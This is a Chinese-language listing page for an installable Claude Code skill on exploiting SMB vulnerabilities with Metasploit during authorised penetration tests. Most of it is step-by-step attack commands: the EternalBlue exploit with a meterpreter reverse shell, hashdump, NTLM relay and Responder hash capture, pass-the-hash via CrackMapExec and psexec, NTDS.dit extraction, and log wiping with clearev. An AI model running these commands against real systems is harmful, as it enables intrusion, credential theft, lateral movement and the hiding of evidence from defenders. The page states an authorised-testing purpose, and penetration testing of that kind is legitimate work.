关于 exploiting-smb-vulnerabilities-with-metasploit
供获授权的渗透测试人员使用的技能,介绍如何通过 Metasploit 及相关工具评估 SMB 漏洞。内容涵盖服务枚举、漏洞检查、利用测试,以及记录发现和清理工作。
主要功能
- 01枚举 SMB 服务和版本
- 02扫描已知 SMB 漏洞
- 03测试 SMB 漏洞利用
- 04评估中继与哈希传递风险
- 05记录发现并执行清理
适用场景
- 01验证 SMB 补丁覆盖情况
- 02测试 SMB 签名和共享权限
- 03在授权测试中评估网络隔离
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-smb-vulnerabilities-with-metasploit安装后在 Claude Code 中输入/exploiting-smb-vulnerabilities-with-metasploit确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdscripts/agent.py详细介绍
使用 Metasploit 利用 SMB 漏洞
何时使用
- 在获得授权的渗透测试中,测试 Windows 系统是否存在严重 SMB 漏洞(EternalBlue、EternalRomance、PrintNightmare)
- 演示通过 SMB 中继、哈希传递和凭据喷洒进行横向移动的风险
- 验证补丁管理流程是否已修复已知 SMB 漏洞
- 评估整个域内 SMB 签名强制和共享权限配置
- 通过尝试跨 VLAN 边界利用 SMB 来测试网络分段
请勿在未获得明确书面授权的系统上使用,请勿在没有维护窗口的情况下对生产域控制器使用,也请勿部署超出评估范围的持久后门。
前提条件
- 已安装 Metasploit Framework 6.x(
msfconsole --version) - 列出目标 IP 范围和已批准攻击类型的授权渗透测试范围文档
- 对目标 SMB 服务的网络访问权限(TCP 445、TCP 139)
- 已安装 CrackMapExec 和 Impacket 工具,用于补充 SMB 测试
- 获得该次合作批准的有效测试凭据或凭据字典
- Kali Linux 或同等测试平台
工作流
步骤 1:枚举 SMB 服务与版本
# Discover hosts with SMB open using Nmap
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24
# Enumerate SMB versions and OS information
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24
# Use CrackMapExec for rapid SMB enumeration
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt
# Check SMB signing status (disabled = vulnerable to relay)
crackmapexec smb 10.10.0.0/24 --smb-signing
# Enumerate shares with null session
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
步骤 2:扫描已知 SMB 漏洞
# Start Metasploit and scan for MS17-010 (EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run
# Scan for MS08-067 (Conficker vulnerability)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run
# Check for SMBGhost (CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24
# Check for PrintNightmare (CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare
步骤 3:利用 EternalBlue(MS17-010)
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit
# Post-exploitation -- verify access level
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump
步骤 4:执行 SMB 中继攻击
# Identify hosts without SMB signing (from Step 1)
# Set up NTLM relay with Impacket
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i
# Trigger authentication from a compromised host or via phishing
# From Meterpreter session on a compromised host:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password
# Or use Metasploit's SMB relay module
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit
# Use responder to capture NTLM hashes for offline cracking
sudo responder -I eth0 -wrfv
步骤 5:通过 SMB 进行哈希传递与横向移动
# Extract hashes from compromised system
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# Use pass-the-hash with CrackMapExec
crackmapexec smb 10.10.0.0/24 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 --shares
# Execute commands via pass-the-hash
crackmapexec smb 10.10.5.30 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"
# Use Impacket psexec for interactive shell
impacket-psexec [email protected] \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# Use Metasploit psexec module
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploit
步骤 6:记录发现并清理
# Document all compromised systems and access levels
# In Meterpreter, screenshot desktops for evidence
meterpreter> screenshot
# List accessible shares and sensitive data
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b
# Clean up -- remove any artifacts
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe
# Close all sessions
msf6> sessions -K
# Verify cleanup
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"
关键概念
| 术语 | 定义 |
|---|---|
| EternalBlue(MS17-010) | SMBv1 中的严重 SMB 漏洞,允许在无需身份验证的情况下以 SYSTEM 权限执行远程代码,最初由 NSA 开发并被 Shadow Brokers 泄露 |
| SMB 签名 | 对 SMB 数据包进行加密签名,以防止篡改和中继攻击;当禁用时,攻击者可以将 NTLM 身份验证中继到其他 SMB 主机 |
| 哈希传递 | 使用捕获的 NTLM 密码哈希直接进行身份验证的技术,而不是使用明文密码,从而绕过破解哈希的需要 |
| NTLM 中继 | 将捕获的 NTLM 身份验证实时转发到另一台服务器的攻击,使攻击者以被中继用户的身份获得访问权限 |
| PsExec | 远程执行技术,将服务二进制文件上传到 ADMIN$ 共享并创建 Windows 服务以 SYSTEM 权限执行命令 |
| 空会话 | 匿名 SMB 连接(用户名和密码为空),可能暴露配置错误系统上的共享列表、用户枚举和策略信息 |
工具与系统
- Metasploit Framework:利用框架,具有专用的 SMB 扫描器、漏洞利用和后渗透模块,可用于全面的 SMB 测试
- CrackMapExec:用于在 Windows 网络中进行 SMB 枚举、凭据测试、共享枚举和命令执行的瑞士军刀
- Impacket:Python 库,提供 psexec、smbclient、ntlmrelayx 和其他工具,用于底层 SMB 协议交互
- Responder:LLMNR/NBT-NS/mDNS 毒化工具,可从 Windows 名称解析回退行为中捕获 NTLM 哈希
- enum4linux-ng:更新版 SMB 枚举工具,用于从 Windows/Samba 主机中提取用户、组、共享和策略
常见场景
场景:通过 SMB 针对 Windows 域的内部渗透测试
背景:在对一家金融服务公司进行内部渗透测试期间,测试人员具有对公司 VLAN(10.10.0.0/16)的网络访问权限。测试范围包括测试所有 Windows 服务器和工作站是否存在与 SMB 相关的漏洞。Active Directory 域为 CORP.EXAMPLE.COM,约有 200 台主机。
方法:
- 使用 CrackMapExec 扫描整个 /16 网段以查找开放的 SMB 端口并枚举操作系统版本
- 识别出 12 台运行 Windows Server 2012 R2 且未应用 MS17-010 补丁的主机
- 在一台非关键文件服务器(10.10.5.23)上利用 EternalBlue 获取 SYSTEM 权限
- 使用 hashdump 提取本地管理员密码哈希,并发现 47 台主机之间存在密码复用
- 使用 pass-the-hash 访问域控制器,提取 NTDS.dit 数据库
- 证明 83% 的主机上 SMB 签名被禁用,从而可实现中继攻击
- 记录完整的攻击链,展示一个未打补丁的系统如何导致整个域被攻陷
陷阱:
- EternalBlue 漏洞利用可能导致目标出现蓝屏死机(BSOD),尤其是在较旧或不稳定的系统上
- 在受到严密监控的端点上运行 psexec 可能触发 EDR 警报并导致本次演练暴露
- 在拥有大型数据库的域控制器上执行 hashdump 可能导致性能下降
- 未显式检查 SMBv1——如果 SMBv2/v3 也可用,某些扫描器可能会漏掉它
输出格式
## SMB Vulnerability Assessment Report
**Engagement**: Internal Penetration Test
**Target Range**: 10.10.0.0/16 (CORP.EXAMPLE.COM)
**SMB Hosts Discovered**: 187
### Critical Findings
**Finding 1: MS17-010 (EternalBlue) - 12 Unpatched Hosts**
- Severity: Critical (CVSS 9.8)
- Affected: 10.10.5.23, 10.10.5.24, 10.10.8.10 (+ 9 others)
- Impact: Remote code execution as SYSTEM without authentication
- Exploited: Yes - gained SYSTEM on 10.10.5.23
- Remediation: Apply MS17-010 patch, disable SMBv1
**Finding 2: SMB Signing Disabled - 155/187 Hosts**
- Severity: High (CVSS 7.5)
- Impact: NTLM relay attacks allow credential forwarding
- Exploited: Yes - relayed domain admin credentials
- Remediation: Enable SMB signing via Group Policy
**Finding 3: Local Admin Password Reuse - 47 Hosts**
- Severity: High (CVSS 7.2)
- Impact: Compromise of one host enables lateral movement to 47 systems
- Remediation: Deploy LAPS (Local Administrator Password Solution)
评论
支持 Markdown